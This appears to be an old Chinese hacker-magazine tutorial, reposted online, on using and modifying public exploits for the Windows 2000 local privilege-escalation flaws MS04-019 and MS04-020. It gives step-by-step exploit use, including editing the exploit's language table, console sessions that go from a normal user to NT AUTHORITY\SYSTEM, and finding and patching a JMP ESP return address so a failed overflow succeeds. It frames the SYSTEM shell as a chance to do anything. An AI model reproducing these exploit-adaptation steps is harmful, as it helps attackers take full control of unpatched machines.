编外:这是老文章了,以前好像发过
漏洞就像8月的雨一样,短短的一个月里就冒出了好几个!各大安全网站都不断在头条中报道最新的漏洞消息,热度不亚于奥运,
修改Exploit体验本地权限提升的乐趣
。但是这些漏洞中,真正能为菜鸟们服务的却是少之又少!真希望自己早日成为一只大鸟。可喜的是在这些漏洞中,MS04-019和MS04-020这两个缓冲区溢出漏洞能够方便的被我们利用(因为漏洞溢出工具不是通用的,光仔只好附上源码,大家只好按自己情况,进行修改!不便之处,敬请原谅)。TIPS:何谓缓冲区溢出?
缓冲区溢出(Buffer Overflow)是计算机安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。缓冲区溢出大致又可分两类,一类是堆溢出(Heap Overflow);一类是栈溢出(Stack Overflow)。MS04-020漏洞就是堆溢出。
MS04-019
好!下面让我们看看MS04-019漏洞和MS04-020漏洞的庐山真面目吧!MS04-019漏洞是工具管理器中的漏洞可能允许执行代码,漏洞全名是Microsoft Utility Manager本地权限提升漏洞,它对现在的Windows 2000系统都有效,除非打上了最新的补丁。成功利用此漏洞的攻击者可以完全控制受影响的系统,其中包括:安装程序;查看、更改或删除数据;或者创建拥有完全权限的新帐户等。
这个漏洞只能用于本地权限提升,不能用于远程权限提升,真可惜!不过Microsoft Utility Manager,也就是Windows 2000 的工具管理器是默认安装的,所以影响范围很大!虽然不能用来远程入侵别人的电脑,但是当你忘了自己的管理员密码时,它就能派上用途了!
因为是菜鸟的缘故,所用的Exploit是大鸟写好的,可惜的是Exploit并不支持中文,但是不难发现,添加中文并不难。
下面我们先来享受一下改造天兵神器的乐趣。需要修改的代码:
lang[] = {
{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */
{ 0x09,"Utility manager","Windows Help","Open" }, /* English */
/* “French”在下面的语言数据组中,排列第12,12在16进制中就是c。“English”就是排列第9。所以“Chinese”就是4了!得出中文的格式是:“0x04,"辅助工具管理器","Windows 帮助","打开"},/* Chinese */”*/
};
void print_lang(int id)
{
char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
"Danish","German","Greek","English","Spanish","Finnish",
"French","Hebrew","Hungarian","Icelandic","italian",
代码修改之后就是:
lang[] = {
{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */
{ 0x09,"Utility manager","Windows Help","Open" },/* English */
{ 0x04,"辅助工具管理器","Windows 帮助","打开"},/* Chinese */
最后一步就是把源代码编译(用VC编译它的话很简单,只需要点击几下就行了,这部分忽略)。经过改造的神兵终于诞生了!还等什么?利用程序吧:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
X\Chobit
可以看到这个Chobit用户只有User权限。但是不久就可以得到SYSTEM权限的了!好,我们来吧!按下WIN(就是Ctrl和Alt中间那个)+U组合键,启动“辅助工具管理器”,然后在CMD窗口中运行我们刚修改好的神兵。接着程序会提示找不到某个文件,询问是否手动查找并运行。我们选择“是”,并输入“CMD”,按“打开”,就可以运行另一个CMD了!看看这个CMD有什么特别?输入whoami,返回信息:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM
看!这个CMD是拥有SYSTEM权限的!下一步想做什么就做什么吧!整个漏洞利用过程中只是按部就班地取得SYSTEM权限。不过在改造天兵神器这一幕中,我们充分发掘并发挥了Exploit编写者留下的智慧,看来大胆尝试和不断创新依然是 的必具素质,广大的菜鸟们要好好的努力哦!
TIPS:上期黑防针对这个漏洞曾经请isno做过详细的分析并提供了他自己编写的完整Exploit,喜欢研究漏洞细节或者想自己修改Exploit的朋友可以翻看上期的黑防和附带光盘。
MS04-020
这个漏洞是Posix中允许执行代码, 全名是Windows POSIX子系统权限提升漏洞,影响现在的所有Windows NT和Windows 2000系统。成功利用此漏洞的攻击者可以完全控制受影响的系统,其中包括:安装程序;查看、更改或删除数据;或者创建拥有完全权限的新帐户等。
TIPS:POSIX系统是什么?漏洞是如何产生的?
Microsoft的POSIX系统由一个Psxss的进程负责处理,Posix.exe运行起来的程序会通过LPC来和Psxss通讯,Psxss进程的权限是SYSTEM。很不幸的是Posix.exe传递给Psxss的数据中,如果包含过长的字符串会导致Psxss一个堆栈溢出,如果精心构造这些字符串,就会得到SYSTEM权限的控制权,
电脑资料
《修改Exploit体验本地权限提升的乐趣》(https://www.unjs.com)。跟MS04-019漏洞一样,MS04-020漏洞不能用于远程入侵。但是我们不会放弃任何一个能够拿到SYSTEM权限的机会,况且MS04-020漏洞利用起来非常方便,因为Exploit都是大鸟们提供的。我们要做的就是把编译Exploit并使用。好了,我们一起来吧!
现在我以一个普通用户登陆计算机并打开一个CMD窗口:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
X\Chobit
然后输入正确的溢出程序路径,使用简单参数就能溢出了:
C:\cd tools
C:\tools\exploit.exe
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com/
pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory
For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM
C:\WINNT\system32>
系统权限出来了,这个漏洞利用够方便吧?!但是光仔在另一台Windows 2000中,用同样的方法去取SYSTEM权限,却没有成功。从错误提示,可以看出0x796e9b53指令引用的内存不能为“written”。0x796e9b53不就是Exploit中的“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”吗?现在肯定是Exploit出问题了!“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”这句定义了溢出中最关键的“返回地址”。如果返回地址不正确的话,溢出绝不会成功。现在可以做的就是:先找出正确的返回地址,然后再重新编译溢出程序。
我们可以用Jmpesp.exe(这是SUNX写的寻找Jmpesp的工具)来帮助我们找出Jmp esp指令地址。首先新建一个CMD窗口,输入“jmpesp 1 advapi32.dll”(不含引号):
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\tools>jmpesp 1 advapi32.dll
jmpesp, written by sunx
http://www.sunx.org
advapi32.dll
BaseAddress:0x796d0000
0x796e7993 [JMP ESP]
0x796ec663 [JMP ESP]
0x796ec68b [JMP ESP]
0x796ee70f [CALL ESP]
0x796f8498 [PUSH ESP; RET]
LoadLibraryA: 0x77e705cf
GetProAddress:0x77e6e6a9
WinExec: 0x77e69c1d
ExitThread: 0x77e65f3b
C:\tools>
看到了吗?我们得从输出结果中得到需要的正确返回地址:
0x796e7993 [JMP ESP]
0x796ec663 [JMP ESP]
0x796ec68b [JMP ESP]
这就是光仔找到的Jmp esp指令地址。根本就没有0x796e9b53,难怪溢出失败。找到原因了,现在应该修改下Exploit,重新编译了。将Exploit中的“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”修改为“#define RETADDR 0x796e7993 //advapi32.dll jmp esp”即可。重新编译Exploit,再次使用普通权限运行Exploit就能成功了,得到SYSTEM权限!
要注意这个溢出程序无论成功与否只能溢出一次,因为调用Posix后,Posix会等待自己的LPC Port回复,而在Psxss里使用ExitThread()退出了。导致Posix,pax僵死在那里。使用Pskill,Kill掉后,Psxss也会因为自己在三个LPC Port上等待而僵死。而Psxss只能运行一次,Kill掉后就无法再次运行,就是说想要再次溢出必须重新启动计算机!
有了大鸟们事先编好的Exploit之后,利用MS04-019漏洞和MS04-020漏洞来获得SYSTEM权限并不是一件难事。但是在整个实战过程中感觉得到,溢出成功之后的喜悦并不是来自获得SYSTEM权限,而是在发现问题和解决问题的过程之中。虽然光仔只是个菜鸟,但是光仔认为 技术是在发现新的问题和全心全意去解决问题中慢慢积累起来的!你觉得呢?